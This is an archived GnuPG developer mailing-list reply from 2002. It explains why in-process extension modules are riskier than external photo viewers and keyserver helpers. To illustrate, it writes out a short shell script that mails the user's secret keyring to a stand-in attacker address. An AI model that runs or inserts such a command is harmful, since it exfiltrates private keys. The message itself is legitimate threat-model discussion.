GnuPG 1.1.90 released

[David Shaw]

On Tue, Jul 02, 2002 at 09:08:00PM -0500, David Champion wrote:
> * On 2002.07.02, in <20020702231940.GF4624 at akamai.com>,
> *	"David Shaw" <dshaw at jabberwocky.com> wrote:

> > There is a similar problem with the photo viewers and keyserver
> > helpers, but these programs are already assumed to be untrusted and/or
> > potentially hostile (and if someone has a subverted $PATH, then the
> > attacker could just replace gpg itself).
> 
> Basically, I don't really see what the difference is among these three
> trust categories (module path, photo viewer, keyserver helper). All are
> susceptible in the same ways, it seems. I don't see that one is more
> vulnerable than another.

No, a module is a lot more susceptible than an executed program.  The
reason is that the module code is executed within GnuPG itself.  A
module can therefore do virtually anything.

The photo viewers and keyserver helpers run in a separate process, and
inherit nothing except stdin/stdout from the GnuPG process.  The
interface was intentionally written to make sure that there was
nothing that a executed program could do to GnuPG that the user could
not do on the command line.

For example, when data comes in from the keyserver, GnuPG essentially
does an --import on the file or stdin.  A keyserver or the helper
could return a bogus key, but it would never be trusted without a
certification path to it.  Viewing a photo is GnuPG writing the photo
data to a file or stdout and calling the viewer.

Of course, this only protects GnuPG itself.  There is nothing that stops
someone from writing a keyserver helper or photo viewer that does:

  #!/bin/sh

  cat ~/.gnupg/secring.gpg | mail attacker at example.com

and trying to trick someone into running it.  But note that this
something that any program external to GnuPG can do.  A extension
module, however, shares memory space with GnuPG so it could just go
ahead and reveal, say, the unprotected secret key.

> And anyway, I think it's more likely that someone would set $PATH awry
> in his .shellrc than that he would unwittingly set module-path in his
> .gnupg/options, if we can use that as a baseline to measure other risks
> against.

Yes, I agree with you here (and your snipped comments as well).  There
is nothing that a module-path could do that the user could not already
do with load-extension.  All this does it make it easier for the user
to shoot themselves in the foot, and that's scary, so I would want to
give more good hard thought to potential problems.

David

-- 
   David Shaw  |  dshaw at jabberwocky.com  |  WWW http://www.jabberwocky.com/
+---------------------------------------------------------------------------+
   "There are two major products that come out of Berkeley: LSD and UNIX.
      We don't believe this to be a coincidence." - Jeremy S. Anderson